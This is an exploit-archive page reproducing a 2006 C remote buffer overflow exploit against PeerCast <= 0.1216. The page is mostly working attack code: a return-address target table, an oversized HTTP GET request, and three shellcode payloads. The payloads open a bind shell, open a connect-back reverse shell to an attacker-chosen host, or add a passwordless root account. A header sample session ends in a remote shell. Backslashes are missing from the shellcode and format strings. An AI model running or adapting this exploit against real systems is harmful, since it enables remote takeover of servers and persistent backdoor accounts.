[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PeerCast <= 0.1216 (nextCGIarg) Remote Buffer Overflow Exploit
# Published : 2006-03-11
# Author : prdelka
# Previous Title : Apple Mac OS X 10.4.5 Mail.app (Real Name) Buffer Overflow Exploit
# Next Title : RevilloC MailServer 1.21 (USER) Remote Buffer Overflow Exploit PoC
/* GNU PeerCast <= v0.1216 Remote Exploit
* ======================================
* PeerCast is a simple, free way to listen to radio and watch video on the internet. A
* remotely exploitable buffer overflow has been identified by INFIGO-2006-03-01 which
* can be potentially exploited to execute arbitrary code due to insufficient bounds
* checking on a memory copy operation occuring on the stack. All versions upto and
* prior to v0.1216 are believed to be vulnerable. Return address does a "jmp esp" which
* references the start of our shellcode and as such will work on multiple distributions
* and VA randomized hosts.
*
* Example.
* matthew@localhost ~/code/exploits $ ./prdelka-vs-GNU-peercast -s 123.123.123.123 -c 0 -t 1 -x 31337
* [ GNU PeerCast <= v0.1216 remote exploit
* [ Using shellcode 'Linux bind() shellcode (4444/tcp default)' (84 bytes)
* [ Using target '(GNU peercast v0.1212) 2.6.14-gentoo-r2 (Gentoo 3.3.5.20050130-r1)'
* [ Connected to 123.123.123.123 (7144/tcp)
* [ Sent 883 bytes to target
* matthew@localhost ~/code/exploits $ nc 123.123.123.123 31337
* id
* uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
*
* -prdelka
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <getopt.h>
#include <signal.h>
struct target {
char* name;
int retaddr;
};
struct shellcode {
char* name;
int port;
int host;
char* shellcode;
};
const int targetno = 2;
struct target targets[] = {
{"(GNU peercast v0.1212) 2.4.28-gentoo-r8 (Gentoo Linux 3.3.5-r1)",0x080918AF},
{"(GNU peercast v0.1212) 2.6.14-gentoo-r2 (Gentoo 3.3.5.20050130-r1)",0x080918AF}
};
const int shellno = 3;
struct shellcode shellcodes[] = {
{"Linux bind() shellcode (4444/tcp default)",20,-1,
"x31xdbx53x43x53x6ax02x6ax66x58x99x89xe1xcdx80x96"
"x43x52x66x68x11x5cx66x53x89xe1x6ax66x58x50x51x56"
"x89xe1xcdx80xb0x66xd1xe3xcdx80x52x52x56x43x89xe1"
"xb0x66xcdx80x93x6ax02x59xb0x3fxcdx80x49x79xf9xb0"
"x0bx52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53"
"x89xe1xcdx80"},
{"Linux connect() shellcode (4444/tcp default)",32,26,
"x31xdbx53x43x53x6ax02x6ax66x58x89xe1xcdx80x93x59"
"xb0x3fxcdx80x49x79xf9x5bx5ax68x01x02x03x04x66x68"
"x11x5cx43x66x53x89xe1xb0x66x50x51x53x89xe1x43xcd"
"x80x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53"
"x89xe1xb0x0bxcdx80"},
{"Linux add user 'syscfg' with {null} password and UID 0",-1,-1,
"x31xC0x50x68x73x73x77x64x68x2Fx2Fx70x61x68x2Fx65"
"x74x63x89xE6x31xD2x31xC9xB1x01x89xF3x31xC0xB0x05"
"xCDx80x50x89xE6x31xC0xB0x13x8Bx1Ex31xC9x31xD2xB2"
"x02xCDx80x31xC0xB0x04x8Bx1Ex31xC9x51x68x61x73x68"
"x0Ax68x69x6Ex2Fx62x68x74x3Ax2Fx62x68x2Fx72x6Fx6F"
"x68x63x66x67x3Ax68x66x6Fx72x20x68x73x65x72x20x68"
"x65x6Dx20x75x68x73x79x73x74x68x30x3Ax30x3Ax68x66"
"x67x3Ax3Ax68x73x79x73x63x89xE1x31xD2xB2x30xCDx80"
"x31xC0xB0x06x8Bx1ExCDx80"}
};
void dummyhandler(){
}
int main (int argc, char *argv[]) {
int sd, rc, i, c, ret, payg, paya, payb, eip, ishell = 0, port = 7144, ihost = 0, itarg = 0;
int count, offset, ioffset, index = 0;
short shellport;
char *host, *buffer, *buffer2, *payload;
struct sockaddr_in localAddr, servAddr;
struct hostent *h, *rv;
static struct option options[] = {
{"server", 1, 0, 's'},
{"port", 1, 0, 'p'},
{"target", 1, 0, 't'},
{"shellcode", 1, 0, 'c'},
{"shellport", 1, 0, 'x'},
{"shellhost", 1, 0, 'i'},
{"help", 0, 0,'h'}
};
printf("[ GNU PeerCast <= v0.1216 remote exploitn");
while(c != -1)
{
c = getopt_long(argc,argv,"s:p:t:c:x:i:h",options,&index);
switch(c) {
case -1:
break;
case 's':
if(ihost==0){
h = gethostbyname(optarg);
if(h==NULL){
printf("[ Error unknown host '%s'n",optarg);
exit(1);
}
host = malloc(strlen(optarg) + 1);
sprintf(host,"%s",optarg);
ihost = 1;
}
break;
case 'p':
port = atoi(optarg);
break;
case 'c':
if(ishell==0)
{
payg = atoi(optarg);
switch(payg){
case 0:
printf("[ Using shellcode '%s' (%d bytes)n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode));
payload = malloc(strlen(shellcodes[payg].shellcode)+1);
memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));
ishell = 1;
break;
case 1:
printf("[ Using shellcode '%s' (%d bytes)n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode));
payload = malloc(strlen(shellcodes[payg].shellcode)+1);
memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));
ishell = 1;
break;
case 2:
printf("[ Using shellcode '%s' (%d bytes)n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode));
payload = malloc(strlen(shellcodes[payg].shellcode)+1);
memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));
ishell = 1;
break;
default:
printf("[ Invalid shellcode selection %dn",payg);
exit(0);
break;
}
}
break;
case 'x':
if(ishell==1)
{
if(shellcodes[payg].port > -1)
{
paya = strlen(payload);
shellport = atoi(optarg);
shellport =(shellport&0xff)<<8 | shellport>>8;
memcpy(&payload[shellcodes[payg].port],&shellport,sizeof(shellport));
if(paya > strlen(payload))
{
printf("[ Shellcode port introduces null bytesn");
exit(1);
}
}
else{
printf("[ (%s) port selection is ignored for current shellcoden",optarg);
}
}
else{
printf("[ No shellcode selected yet, ignoring (%s) port selectionn",optarg);
break;
}
break;
case 'i':
if(ishell==1)
{
if(shellcodes[payg].host > -1)
{
paya = strlen(payload);
rv = gethostbyname(optarg);
if(h==NULL){
printf("[ Error unknown host '%s'n",optarg);
exit(1);
}
memcpy(&payload[shellcodes[payg].host],rv->h_addr_list[0], rv->h_length);
if(paya > strlen(payload))
{
printf("[ Shellhost introduces null bytesn");
exit(1);
}
}
else{
printf("[ (%s) shellhost selection is ignored for current shellcoden",optarg);
}
}
else{
printf("[ No shellcode selected yet, ignoring (%s) shellhost selectionn",optarg);
}
break;
case 't':
if(itarg==0){
ret = atoi(optarg);
switch(ret){
case 0:
printf("[ Using target '%s'n",targets[ret].name);
eip = targets[ret].retaddr;
break;
case 1:
printf("[ Using target '%s'n",targets[ret].name);
eip = targets[ret].retaddr;
break;
default:
eip = strtoul(optarg,NULL,16);
printf("[ Using return address '0x%x'n",eip);
break;
}
itarg = 1;
}
break;
case 'h':
printf("[ Usage instructions.n[n");
printf("[ %s <required> (optional)n[n[ --server|-s <ip/hostname>n",argv[0]);
printf("[ --port|-p (port)[default 7144]n[ --shellcode|-c <shell#>n");
printf("[ --shellport|-x (port)n");
printf("[ --shellhost|-i (ip/hostname)n");
printf("[ --target|-t <target#/0xretaddr>n[n");
printf("[ Target#'sn");
for(count = 0;count <= targetno - 1;count++){
printf("[ %d %s 0x%xn",count,targets[count],targets[count]);
}
printf("[n[ Shellcode#'sn");
for(count = 0;count <= shellno - 1;count++){
printf("[ %d "%s" (length %d bytes)n",count,shellcodes[count].name,strlen(shellcodes[count].shellcode));
}
exit(0);
break;
default:
break;
}
}
if(itarg != 1 || ihost != 1 || ishell != 1){
printf("[ Error insufficient arguements, try running '%s --help'n",argv[0]);
exit(1);
}
signal(SIGPIPE,dummyhandler);
servAddr.sin_family = h->h_addrtype;
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
servAddr.sin_port = htons(port);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd<0) {
printf("[ Cannot open socketn");
exit(1);
}
rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
if(rc<0) {
printf("[ Cannot connectn");
exit(1);
}
printf("[ Connected to %s (%d/tcp)n",host,port);
buffer = malloc(2048 + strlen(payload) + sizeof(eip));
memset(buffer,0,2048 + strlen(payload) + sizeof(eip));
strcpy(buffer,"GET /stream/?");
for(count = 0;count <= 779;count++){
strcat(buffer,"A");
}
buffer2 = (char*)((int)buffer + (int)strlen(buffer));
memcpy((void*)buffer2,(void*)&eip,sizeof(eip));
buffer2 = (char*)((int)buffer2 + sizeof(eip));
memcpy((void*)buffer2,(void*)payload,strlen(payload));
strcat(buffer2,"rn");
rc = send(sd,buffer,strlen(buffer),0);
printf("[ Sent %d bytes to targetn",rc);
}
// www.Syue.com [2006-03-11]